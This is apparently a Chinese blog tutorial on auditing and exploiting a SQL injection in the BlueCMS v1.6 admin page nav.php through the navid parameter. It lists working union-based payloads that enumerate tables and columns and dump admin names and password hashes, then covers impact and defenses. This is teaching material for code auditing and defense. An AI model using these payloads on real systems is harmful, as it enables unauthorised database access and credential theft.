bluecms 手把手教你0day挖掘-基础入门篇_bluecms找漏洞-程序员宅基地

技术标签: web安全  sql  

Bluecms后台sql注入漏洞

一、环境搭建

1、PhP地方门户系统 BlueCMS v1.6 sp1

下载地址:https://down.chinaz.com/soft/26181.htm

2、PHPstudy apache,mysql集成环境

二、代码审计

在该cms系统中,其后台存在sql注入漏洞
在这里插入图片描述

这里直接拼接了前端接受的参数navid,我们可以直接控制传入参数导致sql注入漏洞产生。

img

这里对传入的参数进行了过滤,其中addslashes()函数,返回在预定义字符之前添加反斜杠的字符串,预定义字符有,单引号,双引号,反斜杠,null等,这里sql语句为数字型注入,该过滤无效。

在这里插入图片描述

这里判断传入的参数是否是数组,若不是数组直接使用addslashes()函数进行过滤。

img

img

整个sql语句执行过程中只对传入参数使用addslashes()函数进行了过滤,后续并没有进行其他过滤。这里存在sql 注入漏洞

三、漏洞利用

1、正常payload :

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1

在这里插入图片描述

返回正常页面

2、猜列数payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1 order by 6

得出列数为6

3、union注入payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,version(),database(),4,user(),6

img

4、爆表名payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(table_name),database(),4,5,6 from information_schema.tables where table_schema=database()

在这里插入图片描述

5、爆列名payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name=0x626C75655F61646D696E

这里我们选择了blue_admin这个表

img

6、爆数据 payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(admin_name),group_concat(pwd),4,5,6 from blue_admin

在这里插入图片描述

7、管理员密码被MD5加密,解密后得admin

在这里插入图片描述

四、漏洞危害

(1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。

(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。

(4)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

五、漏洞防御

(1)基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询。

(2)对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“/”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御。

(3)数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。

(4)严格限制网站访问数据库的权限。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/G208_522/article/details/123507319

智能推荐

css的mediaquery查询几种不生效的原因_media- query 不生效-程序员宅基地

文章浏览阅读6.3k次。今天上午搞了半个小时,在webstrom中修改了css样式,用chrom浏览器浏览不生效,在网上查了半天,看是不是webstrom的有写保护,或者chorm浏览器不支持,最后发现少and后面少了一个空格导致css mediaquery查询不生效,即使在chrom中的network中css样式文件已经被加载了。@media screen and 不起作用原因汇总。首先确认是不是css本身的问题,而不..._media- query 不生效

Arduino 语法、函数使用、最常用函数、arduino教程、arduino笔记、参考手册_arduino常用函数手册-程序员宅基地

文章浏览阅读1w次,点赞38次,收藏194次。函数部分数字 I/OpinMode()描述将指定的引脚配置成输出或输入。详情请见digital pins。语法pinMode(pin, mode)参数pin:要设置模式的引脚mode:INPUT或OUTPUT返回无例子ledPin = 13 // LED连接到数字脚13 void setup() { pinMode(ledPin,OUTPUT);//设置数字脚为输..._arduino常用函数手册

MySQL数据库概览_后,我们首先就来看一下,mysql数据库中有多少个数据库(你可以理解为,mysql数据库是-程序员宅基地

文章浏览阅读257次。SQL语句分类:DCL: 数据控制语言 GRANT、DENY、REVOKEDDD: 数据定义语言 CREATE、ALTER、DROP、TRUNCATEDML: 数据操纵语言 SELECT、DELETE、UPDATE、SELECTMysql默认数据库有4个(version 5.7及8)mysql: mysql的核心数据库,类似于sql server中的master表,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。(常用的,在mysql.user表中_后,我们首先就来看一下,mysql数据库中有多少个数据库(你可以理解为,mysql数据库是

H3C S5500-52C-EI SSH 服务器发送了断开连接数据包_服务器发送了断开连接的数据包-程序员宅基地

文章浏览阅读2.9k次。H3C S5500-52C-EI SSH 服务器发送了断开连接数据包The connection is closed by SSH Server.(code:2)_服务器发送了断开连接的数据包

iOS-底层原理 21:Method-Swizzling 方法交换_ios方法交换 父类 死循环-程序员宅基地

文章浏览阅读1.3k次。iOS 底层原理 文章汇总method-swizzling 是什么?method-swizzling的含义是方法交换,其主要作用是在运行时将一个方法的实现替换成另一个方法的实现,这就是我们常说的iOS黑魔法,在OC中就是利用method-swizzling实现AOP,其中AOP(Aspect Oriented Programming,面向切面编程)是一种编程的思想,区别于OOP(面向对象编程)OOP和AOP都是一种编程的思想ios_lowLevelOOP编程思想更加倾向于对业务模块的._ios方法交换 父类 死循环

前端移动端适配 - 媒体查询适配方案_pc端写的固定宽度,媒体查询适配移动端,width写100%没效果-程序员宅基地

文章浏览阅读3.4k次,点赞6次,收藏18次。工作中难免会有写静态页面的需求,有时候移动端适配真的是做的心累,如果自己新做一个页面倒还好,整体布局会按照自己习惯来,但有时候不得不修改别人的代码,尤其是别人没适配好的代码,找样式以及命名规范等问题够折磨一整天了。_pc端写的固定宽度,媒体查询适配移动端,width写100%没效果

随便推点

【Python强化】使用pandas和csv读取csv文件_导入pandas库,读取data文件夹中的order.csv文件,编码格式为“gbk”,打印出所有列-程序员宅基地

文章浏览阅读1.1k次,点赞2次,收藏7次。一、pandas读取方式1、csv介绍csv文件是一种以逗号分割字符的文件形式我们创建一个简单的文件demo.csv,如下格式的形式进行存储,以,进行分割name,score,age,sexlhh,100,24,男wcy,99,28,女2.读文件直接读取import pandas as pd# 读取csv文件 全文件读取data = pd.read_csv('demo.csv',encoding="gbk") # 中文显示需要指定编码格式df = pd.DataFrame(_导入pandas库,读取data文件夹中的order.csv文件,编码格式为“gbk”,打印出所有列

Subdomain Visit Count_count,subdomain-程序员宅基地

文章浏览阅读171次。A website domain like "discuss.leetcode.com" consists of various subdomains. At the top level, we have "com", at the next level, we have "leetcode.com", and at the lowest level, "discuss.leetcode.com"..._count,subdomain

PyTorch深度学习遥感影像地物分类与目标检测、分割及遥感影像问题深度学习优化技术_深度学习框架遥感-程序员宅基地

文章浏览阅读930次,点赞2次,收藏8次。深度卷积网络采用“端对端”的特征学习,通过多层处理机制揭示隐藏于数据中的非线性特征,能够从大量训练集中自动学习全局特征(这种特征被称为“学习特征”),是其在遥感影像自动目标识别取得成功的重要原因,也标志特征模型从手工特征向学习特征转变。为使广大学者能理解卷积神经网络背后的数学模型和计算机算法,掌握利用PyTorch为基础的遥感影像地物分类,遥感图像目标检测,以及遥感图像目标分割等应用。1.现有几个优秀模型结构的演变原理,包括AlexNet,VGG,googleNet,ResNet,DenseNet等模型。_深度学习框架遥感

Oauth2.0 ( RFC-6749 ) 中文译文_rfc6749中文-程序员宅基地

文章浏览阅读1w次,点赞14次,收藏26次。本文为RFC6749(OAuth2.0)的中文翻译,本文在不影响原文语义的情况下尽可能地采用更符合中文习惯的方式进行表述,如有翻译不妥当的地方请在评论中指出。PS:有些过于简单,或者不适合翻译的内容直接以原文呈现,如11节往后,基本上能读懂英语单词就不会有阅读障碍,所以就不翻译了。PPS:有些明明能简单的表述出来的东西非要绕十八个弯写出来,搞学术的都是鬼才。。。本文由spawpaw@ho..._rfc6749中文

Java音乐播放器,窗体程序 完整源码_java音乐播放器源码-程序员宅基地

文章浏览阅读1.6k次,点赞2次,收藏20次。java 编写音乐播放器,窗体程序, 完整源码游戏,可以直接用来做课程设计或者毕业设计;代码功能完善,下载后可以直接运行!!_java音乐播放器源码

csgo准星设置代码_【老许教你玩CSGO】如何调整合适的准星参数-程序员宅基地

文章浏览阅读6.6k次。想要找到合适的准星,首先我们得知道调整准星的参数有哪些,这是最基本的准星调整方法,参数在网上一搜便可全部知晓。但是大家在面对一大串的准星参数时,完全是看花了眼,不知道以什么样的姿势来输入,这里我就来给大家整合一下,帮助更多的玩家能找到属于自己的那个准星。其实真正所需要的只有几个参数,只需要这几个便可完成准星的设置1 cl_crosshairsize 这个参数是用来设置准星的大小2 cl_cross..._csgo准星代码怎么用 csdn

推荐文章

热门文章

相关标签